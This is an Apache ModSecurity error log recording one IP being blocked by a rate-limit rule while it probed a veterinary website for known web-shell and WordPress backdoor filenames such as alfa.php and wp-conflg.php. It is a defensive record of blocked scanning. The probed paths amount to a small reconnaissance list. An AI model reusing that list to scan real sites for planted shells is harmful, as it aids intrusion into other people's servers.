[Sun Dec 28 21:18:23.945601 2025] [:error] [pid 43789:tid 43807] [client 74.225.139.234:19582] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/404.php"] [unique_id "aVEuHwa-tUppni4CcCZJHAAAARA"]
[Sun Dec 28 21:18:24.395496 2025] [:error] [pid 29436:tid 29459] [client 74.225.139.234:13231] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/404.php"] [unique_id "aVEuILchzOOtNL9VPNIRtwAAAZQ"]
[Sun Dec 28 21:18:24.887520 2025] [:error] [pid 29437:tid 29466] [client 74.225.139.234:19529] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aVEuIBhDotAbVk6pZLfbcAAAAcA"]
[Sun Dec 28 21:18:25.436210 2025] [:error] [pid 43789:tid 43800] [client 74.225.139.234:13200] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aVEuIQa-tUppni4CcCZJHQAAAQk"]
[Sun Dec 28 21:18:25.889423 2025] [:error] [pid 29437:tid 29473] [client 74.225.139.234:13245] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aVEuIRhDotAbVk6pZLfbcgAAAcc"]
[Sun Dec 28 21:18:26.355736 2025] [:error] [pid 42378:tid 42397] [client 74.225.139.234:13214] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aVEuIjgtcN-KHAjWrX8udQAAANE"]
[Sun Dec 28 21:18:26.812387 2025] [:error] [pid 29437:tid 29474] [client 74.225.139.234:19522] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/0x.php"] [unique_id "aVEuIhhDotAbVk6pZLfbdAAAAcg"]
[Sun Dec 28 21:18:27.226094 2025] [:error] [pid 42378:tid 42399] [client 74.225.139.234:19511] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/0x.php"] [unique_id "aVEuIzgtcN-KHAjWrX8udgAAANM"]
[Sun Dec 28 21:18:28.015164 2025] [:error] [pid 29388:tid 29416] [client 74.225.139.234:13283] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/0x.php"] [unique_id "aVEuJNoLv2L2zI_SpdX2ngAAAVQ"]
[Sun Dec 28 21:18:29.606310 2025] [:error] [pid 42378:tid 42383] [client 74.225.139.234:13295] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/0x.php"] [unique_id "aVEuJTgtcN-KHAjWrX8ueQAAAMM"]
[Sun Dec 28 21:18:30.591072 2025] [:error] [pid 42293:tid 42328] [client 74.225.139.234:13311] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css.php"] [unique_id "aVEuJsvc9B-5cwN385IAZAAAAEU"]
[Sun Dec 28 21:18:30.995674 2025] [:error] [pid 42294:tid 42369] [client 74.225.139.234:13279] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css.php"] [unique_id "aVEuJtTE5kYcYCOzl9HRXwAAAJM"]
[Sun Dec 28 21:18:31.476852 2025] [:error] [pid 29437:tid 29471] [client 74.225.139.234:13304] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css.php"] [unique_id "aVEuJxhDotAbVk6pZLfbdQAAAcU"]
[Sun Dec 28 21:18:32.098566 2025] [:error] [pid 29437:tid 29481] [client 74.225.139.234:13215] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css.php"] [unique_id "aVEuKBhDotAbVk6pZLfbdgAAAc8"]
[Sun Dec 28 21:18:32.494410 2025] [:error] [pid 42292:tid 42296] [client 74.225.139.234:13196] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/222.php"] [unique_id "aVEuKJyOrM_vaFx1osZeFQAAAAA"]
[Sun Dec 28 21:19:41.004864 2025] [:error] [pid 42293:tid 42335] [client 74.225.139.234:13186] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aVEubcvc9B-5cwN385IArwAAAEw"]
[Sun Dec 28 21:19:41.405637 2025] [:error] [pid 42294:tid 42367] [client 74.225.139.234:13198] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aVEubdTE5kYcYCOzl9HRtQAAAJE"]
[Sun Dec 28 21:19:41.817091 2025] [:error] [pid 42378:tid 42388] [client 74.225.139.234:13140] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aVEubTgtcN-KHAjWrX8u_AAAAMg"]
[Sun Dec 28 21:19:42.185733 2025] [:error] [pid 42292:tid 42318] [client 74.225.139.234:19465] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aVEubpyOrM_vaFx1osZeOAAAABY"]
[Sun Dec 28 21:19:42.622761 2025] [:error] [pid 29388:tid 29406] [client 74.225.139.234:13203] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/manager.php"] [unique_id "aVEubtoLv2L2zI_SpdX27wAAAUo"]
[Sun Dec 28 21:19:43.079263 2025] [:error] [pid 29437:tid 29488] [client 74.225.139.234:19485] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/manager.php"] [unique_id "aVEubxhDotAbVk6pZLfbxgAAAdY"]
[Sun Dec 28 21:19:43.513483 2025] [:error] [pid 29437:tid 29486] [client 74.225.139.234:13241] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/manager.php"] [unique_id "aVEubxhDotAbVk6pZLfbxwAAAdQ"]
[Sun Dec 28 21:19:43.991222 2025] [:error] [pid 42293:tid 42339] [client 74.225.139.234:13130] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/manager.php"] [unique_id "aVEub8vc9B-5cwN385IAswAAAFA"]
[Sun Dec 28 21:19:44.325699 2025] [:error] [pid 29437:tid 29473] [client 74.225.139.234:19507] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/item.php"] [unique_id "aVEucBhDotAbVk6pZLfbyAAAAcc"]
[Sun Dec 28 21:19:44.697873 2025] [:error] [pid 42292:tid 42306] [client 74.225.139.234:13199] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/item.php"] [unique_id "aVEucJyOrM_vaFx1osZeOgAAAAo"]
[Sun Dec 28 21:19:45.078033 2025] [:error] [pid 42293:tid 42340] [client 74.225.139.234:13297] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/item.php"] [unique_id "aVEuccvc9B-5cwN385IAtAAAAFE"]
[Sun Dec 28 21:19:45.575145 2025] [:error] [pid 42293:tid 42341] [client 74.225.139.234:19503] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/item.php"] [unique_id "aVEuccvc9B-5cwN385IAtgAAAFI"]
[Sun Dec 28 21:19:45.979484 2025] [:error] [pid 43789:tid 43814] [client 74.225.139.234:13193] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/404.php"] [unique_id "aVEucQa-tUppni4CcCZJSQAAARc"]
[Sun Dec 28 21:19:46.459251 2025] [:error] [pid 42292:tid 42310] [client 74.225.139.234:19482] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/404.php"] [unique_id "aVEucpyOrM_vaFx1osZeOwAAAA4"]
[Sun Dec 28 21:19:46.913247 2025] [:error] [pid 42292:tid 42317] [client 74.225.139.234:13189] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/404.php"] [unique_id "aVEucpyOrM_vaFx1osZePAAAABU"]
[Sun Dec 28 21:19:47.327609 2025] [:error] [pid 29388:tid 29420] [client 74.225.139.234:13238] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/404.php"] [unique_id "aVEuc9oLv2L2zI_SpdX28wAAAVg"]
[Sun Dec 28 21:19:47.749735 2025] [:error] [pid 42292:tid 42313] [client 74.225.139.234:13150] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aVEuc5yOrM_vaFx1osZePQAAABE"]
[Sun Dec 28 21:19:48.301273 2025] [:error] [pid 42292:tid 42314] [client 74.225.139.234:19504] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aVEudJyOrM_vaFx1osZePgAAABI"]
[Sun Dec 28 21:19:48.986914 2025] [:error] [pid 29436:tid 29449] [client 74.225.139.234:19466] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aVEudLchzOOtNL9VPNIR6wAAAYo"]
[Sun Dec 28 21:19:49.426416 2025] [:error] [pid 29388:tid 29396] [client 74.225.139.234:13194] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aVEuddoLv2L2zI_SpdX29gAAAUA"]
[Sun Dec 28 21:19:49.901961 2025] [:error] [pid 29437:tid 29481] [client 74.225.139.234:13301] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sx.php"] [unique_id "aVEudRhDotAbVk6pZLfbywAAAc8"]
[Sun Dec 28 21:19:50.318532 2025] [:error] [pid 29437:tid 29476] [client 74.225.139.234:19569] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sx.php"] [unique_id "aVEudhhDotAbVk6pZLfb0AAAAco"]
[Sun Dec 28 21:19:50.752456 2025] [:error] [pid 29388:tid 29407] [client 74.225.139.234:13062] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sx.php"] [unique_id "aVEudtoLv2L2zI_SpdX29wAAAUs"]
[Sun Dec 28 21:19:51.092484 2025] [:error] [pid 43789:tid 43792] [client 74.225.139.234:13292] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sx.php"] [unique_id "aVEudwa-tUppni4CcCZJTQAAAQE"]
[Sun Dec 28 21:19:51.528634 2025] [:error] [pid 29388:tid 29417] [client 74.225.139.234:13235] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aVEud9oLv2L2zI_SpdX2-QAAAVU"]
[Sun Dec 28 21:19:52.069176 2025] [:error] [pid 43789:tid 43798] [client 74.225.139.234:19549] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aVEueAa-tUppni4CcCZJTgAAAQc"]
[Sun Dec 28 21:19:52.403404 2025] [:error] [pid 43789:tid 43811] [client 74.225.139.234:13225] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aVEueAa-tUppni4CcCZJUAAAARQ"]
[Sun Dec 28 21:19:52.780656 2025] [:error] [pid 29388:tid 29405] [client 74.225.139.234:13120] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aVEueNoLv2L2zI_SpdX2-gAAAUk"]
[Sun Dec 28 21:19:53.321195 2025] [:error] [pid 42294:tid 42371] [client 74.225.139.234:13078] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/alfa.php"] [unique_id "aVEuedTE5kYcYCOzl9HRuQAAAJU"]
[Sun Dec 28 21:19:53.947793 2025] [:error] [pid 42294:tid 42355] [client 74.225.139.234:13197] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/alfa.php"] [unique_id "aVEuedTE5kYcYCOzl9HRugAAAIU"]
[Sun Dec 28 21:19:54.421462 2025] [:error] [pid 29436:tid 29454] [client 74.225.139.234:19508] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/alfa.php"] [unique_id "aVEuerchzOOtNL9VPNIR7AAAAY8"]
[Sun Dec 28 21:19:54.899515 2025] [:error] [pid 29388:tid 29411] [client 74.225.139.234:13228] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/alfa.php"] [unique_id "aVEuetoLv2L2zI_SpdX2_wAAAU8"]
[Sun Dec 28 21:19:55.714686 2025] [:error] [pid 42294:tid 42356] [client 74.225.139.234:19540] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-trackback.php"] [unique_id "aVEue9TE5kYcYCOzl9HRuwAAAIY"]
[Sun Dec 28 21:19:56.230182 2025] [:error] [pid 29388:tid 29415] [client 74.225.139.234:13207] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-trackback.php"] [unique_id "aVEufNoLv2L2zI_SpdX3BAAAAVM"]
[Sun Dec 28 21:19:56.812549 2025] [:error] [pid 42378:tid 42388] [client 74.225.139.234:19474] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-trackback.php"] [unique_id "aVEufDgtcN-KHAjWrX8vCwAAAMg"]
[Sun Dec 28 21:19:57.400434 2025] [:error] [pid 42378:tid 42397] [client 74.225.139.234:13218] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-trackback.php"] [unique_id "aVEufTgtcN-KHAjWrX8vDQAAANE"]
[Sun Dec 28 21:19:57.851056 2025] [:error] [pid 42292:tid 42309] [client 74.225.139.234:19542] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/index.php"] [unique_id "aVEufZyOrM_vaFx1osZeRgAAAA0"]
[Sun Dec 28 21:19:58.244848 2025] [:error] [pid 42292:tid 42307] [client 74.225.139.234:13208] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/index.php"] [unique_id "aVEufpyOrM_vaFx1osZeRwAAAAs"]
[Sun Dec 28 21:19:59.009608 2025] [:error] [pid 43789:tid 43794] [client 74.225.139.234:13227] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/index.php"] [unique_id "aVEufwa-tUppni4CcCZJWAAAAQM"]
[Sun Dec 28 21:19:59.405789 2025] [:error] [pid 42294:tid 42368] [client 74.225.139.234:19524] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/index.php"] [unique_id "aVEuf9TE5kYcYCOzl9HRvQAAAJI"]
[Sun Dec 28 21:19:59.786691 2025] [:error] [pid 42293:tid 42324] [client 74.225.139.234:19556] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aVEuf8vc9B-5cwN385IAvQAAAEE"]
